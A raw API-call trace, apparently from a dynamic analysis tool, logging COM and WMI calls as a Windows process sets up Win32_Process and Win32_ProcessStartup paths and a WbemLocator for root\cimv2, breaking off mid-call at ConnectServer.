[0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c0303b0) returned 0x0 [0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0084.583] WbemDefPath:IUnknown:AddRef (This=0x1c0303b0) returned 0x3 [0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf77330) returned 0x0 [0084.584] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77330, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.584] WbemDefPath:IUnknown:Release (This=0x1bf77330) returned 0x3 [0084.584] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0084.584] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0084.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0084.584] WbemDefPath:IUnknown:Release (This=0x1c0303b0) returned 0x2 [0084.584] WbemDefPath:IUnknown:Release (This=0x1c0303b0) returned 0x1 [0084.584] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0084.584] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0084.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0303b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c0303b0) returned 0x0 [0084.584] WbemDefPath:IUnknown:AddRef (This=0x1c0303b0) returned 0x3 [0084.584] WbemDefPath:IUnknown:Release (This=0x1c0303b0) returned 0x2 [0084.584] WbemDefPath:IWbemPath:SetText (This=0x1c0303b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0084.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0303b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0084.584] WbemDefPath:IWbemPath:GetText (in: This=0x1c0303b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0084.584] WbemDefPath:IWbemPath:GetText (in: This=0x1c0303b0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0084.584] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c0303b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0084.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0303b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0084.585] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c0303b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0084.585] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0084.586] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0084.586] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0084.586] IUnknown:Release (This=0x111f638) returned 0x1 [0084.589] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf773d0) returned 0x0 [0084.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf773d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0084.589] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf773d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c030470) returned 0x0 [0084.589] WbemDefPath:IUnknown:Release (This=0x1bf773d0) returned 0x0 [0084.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c030470) returned 0x0 [0084.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0084.589] WbemDefPath:IUnknown:AddRef (This=0x1c030470) returned 0x3 [0084.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0084.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0084.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf77410) returned 0x0 [0084.590] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77410, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.590] WbemDefPath:IUnknown:Release (This=0x1bf77410) returned 0x3 [0084.590] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0084.590] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0084.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0084.590] WbemDefPath:IUnknown:Release (This=0x1c030470) returned 0x2 [0084.590] WbemDefPath:IUnknown:Release (This=0x1c030470) returned 0x1 [0084.590] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0084.590] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0084.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030470, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c030470) returned 0x0 [0084.590] WbemDefPath:IUnknown:AddRef (This=0x1c030470) returned 0x3 [0084.590] WbemDefPath:IUnknown:Release (This=0x1c030470) returned 0x2 [0084.590] WbemDefPath:IWbemPath:SetText (This=0x1c030470, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0084.590] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030470, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0084.590] WbemDefPath:IWbemPath:GetText (in: This=0x1c030470, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0084.590] WbemDefPath:IWbemPath:GetText (in: This=0x1c030470, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c030470, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030470, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c030470, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030470, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0084.591] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.591] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0084.591] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0084.591] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0084.591] IUnknown:Release (This=0x111f638) returned 0x1 [0084.593] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf77350) returned 0x0 [0084.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77350, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0084.593] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77350, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c030530) returned 0x0 [0084.593] WbemDefPath:IUnknown:Release (This=0x1bf77350) returned 0x0 [0084.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c030530) returned 0x0 [0084.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0084.594] WbemDefPath:IUnknown:AddRef (This=0x1c030530) returned 0x3 [0084.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0084.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0084.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf77390) returned 0x0 [0084.597] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77390, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.597] WbemDefPath:IUnknown:Release (This=0x1bf77390) returned 0x3 [0084.597] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0084.597] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0084.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0084.597] WbemDefPath:IUnknown:Release (This=0x1c030530) returned 0x2 [0084.597] WbemDefPath:IUnknown:Release (This=0x1c030530) returned 0x1 [0084.597] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0084.597] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0084.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030530, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c030530) returned 0x0 [0084.597] WbemDefPath:IUnknown:AddRef (This=0x1c030530) returned 0x3 [0084.597] WbemDefPath:IUnknown:Release (This=0x1c030530) returned 0x2 [0084.597] WbemDefPath:IWbemPath:SetText (This=0x1c030530, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0084.597] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030530, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.597] WbemDefPath:IWbemPath:GetText (in: This=0x1c030530, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0084.598] WbemDefPath:IWbemPath:GetText (in: This=0x1c030530, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.598] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0084.598] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0084.598] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0084.598] IUnknown:Release (This=0x111f638) returned 0x1 [0084.599] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf77070) returned 0x0 [0084.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0084.599] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf77070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf77090) returned 0x0 [0084.599] WbemLocator:IUnknown:Release (This=0x1bf77070) returned 0x0 [0084.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf77090) returned 0x0 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0084.600] WbemLocator:IUnknown:AddRef (This=0x1bf77090) returned 0x3 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0084.600] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0084.600] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0084.600] WbemLocator:IUnknown:Release (This=0x1bf77090) returned 0x2 [0084.600] WbemLocator:IUnknown:Release (This=0x1bf77090) returned 0x1 [0084.600] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0084.600] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0084.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77090, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf77090) returned 0x0 [0084.600] WbemLocator:IUnknown:AddRef (This=0x1bf77090) returned 0x3 [0084.600] WbemLocator:IUnknown:Release (This=0x1bf77090) returned 0x2 [0084.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030530, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.601] WbemDefPath:IWbemPath:GetText (in: This=0x1c030530, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0084.601] WbemDefPath:IWbemPath:GetText (in: This=0x1c030530, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.601] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf770b0) returned 0x0 [0084.601] WbemLocator:IWbemLocator:ConnectServer (in: 